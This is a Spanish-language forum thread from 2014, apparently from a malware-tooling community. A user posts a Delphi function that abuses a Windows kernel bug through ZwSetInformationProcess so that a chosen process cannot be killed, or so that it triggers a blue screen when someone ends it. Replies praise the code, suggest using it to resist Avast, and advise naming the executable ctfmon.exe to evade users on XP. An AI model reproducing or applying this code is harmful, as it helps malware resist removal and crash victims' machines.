Página 1 de 1

[FUNCIONES] Non-Killable Process & BSOD

Publicado: 22 Abr 2014, 01:52
por Metal_Kingdom
Dejo por aquí la función traducida de lo que nos dejó Pink en la zona de VB6 y también la que provoca el BSOD si intentan cerrar el proceso.
Esta nueva versión permite elegir el proceso como hizo M3.
//All Credits: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html
//Metal_Kingdom | UdTools.net

function ZwSetInformationProcess(cs1:THandle; cs2:ULONG; cs3:Pointer; cs4:ULONG):ULONG; stdcall; external 'ntdll.dll';

function Non_Killable(Process: String; BSOD: Bool): ULONG;
var
  Val           : ULONG;
  ProcessEntry  : TProcessEntry32;
  hSnapshot     : THandle;
  ProcessHandle : THandle;
  ProcessID     : DWORD;
begin
  case BSOD of
    True  : Val := $FFFFFFFF;
    False : Val := $8000F129;
  end;
  hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  ProcessEntry.dwSize := SizeOf(ProcessEntry32);
  while Process32Next(hSnapshot, ProcessEntry) do
  begin
    if Process = ProcessEntry.szExeFile then
    begin
      ProcessID := ProcessEntry.th32ProcessID;
      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
      CloseHandle(hSnapshot);
    end;
  end;
  Result := ZwSetInformationProcess(ProcessHandle, $21, @Val, SizeOf(Val));
end;
Ejemplo:
non_killable('Project1.exe', False); //Sin BSOD
non_killable('Project1.exe', True); //Con BSOD
Saludos!

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 22 Abr 2014, 02:55
por M3
DPM esta vulnerabilidad , buen code Metal ,

Saludo compadre

PD : anadindo algunas cosas quisas sirva bien a Deep de Avast que no lo puede cerrar .... .....

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 22 Abr 2014, 03:46
por Metal_Kingdom
Algo de eso estaba pensando también jaja.

Saludos máquina!

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 29 Abr 2014, 12:21
por idrcelab
Great share, thanks Metal_Kingdom

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 30 Abr 2014, 05:30
por idrcelab
I was tested the function and this is my review:
- Work on : Windows 7 x86 and x64
- Can't be killed by: Windows Task Manager/Process Explorer (other tools, not yet tested)
- BSOD will occur when you kill the program with "End Task"

(Question: How to protect from End Task without BSOD occur?)

Not work on Windows XP and 8 platform.

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 11 May 2014, 17:58
por Metal_Kingdom
Set BSOD parameter to False.

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 18 May 2014, 16:54
por ZeRiito
excelente codigo man

Re: [FUNCIONES] Non-Killable Process & BSOD

Publicado: 18 May 2014, 18:41
por Prestigio
idrcelab escribió:I was tested the function and this is my review:
- Work on : Windows 7 x86 and x64
- Can't be killed by: Windows Task Manager/Process Explorer (other tools, not yet tested)
- BSOD will occur when you kill the program with "End Task"

(Question: How to protect from End Task without BSOD occur?)

Not work on Windows XP and 8 platform.
Bueno no solo hay que ver lo negativo de las cosas, haber respecto a xp, puedes hacer que cuando se ejecute tome de nombre
cftmon.exe y asi ya no lo podran tocar en windows xp, has que el ejecutable lea la version de windows y si detecta xp, que realize la función de esta manera puedes asegurar más la funcionalidad.